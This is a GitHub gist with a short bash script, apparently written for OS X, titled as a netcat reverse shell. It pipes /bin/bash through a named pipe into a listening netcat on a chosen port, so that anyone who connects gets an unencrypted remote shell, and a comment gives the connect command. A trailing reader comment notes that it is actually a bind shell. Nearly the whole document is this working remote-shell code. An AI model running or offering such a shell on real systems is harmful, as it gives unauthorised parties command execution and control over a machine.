Created
August 13, 2014 12:37
-
-
Save jacobsalmela/10396211ec9c09e77d59 to your computer and use it in GitHub Desktop.
(OS X) Reverse shell via netcat
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#!/bin/bash | |
#----------AUTHOR------------ | |
# Jacob Salmela | |
# 9 April 2013 | |
#---------DESCRIPTION-------- | |
# Serves up an unencrypted, reverse-shell when the -e option is unavailable | |
# Much less reliable (command lag), but useful in a pinch | |
#----------FUNCTIONS--------- | |
function poorPersonsReverseShell() | |
{ | |
# Create a named pipe (a "permanent pipe") | |
mkfifo /tmp/pipesh | |
# Assign /bin/bash to the named pipe and use netcat to listen for incoming connections | |
/bin/bash /tmp/pipesh | nc -l <port_number> > /tmp/pipesh | |
# To connect to the reverse-shell, use the same port number from above and run the command | |
# | |
# nc <server_ip> <port_number> | |
# Commands can be entered locally, but will run on the remote machine | |
# Often, there is lag and a command will not return STDOUT/ERR but it still seems to run | |
} | |
#---------------------------- | |
#-----------SCRIPT----------- | |
#---------------------------- | |
poorPersonsReverseShell |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment
It's a bindshell either ;)
revshell version: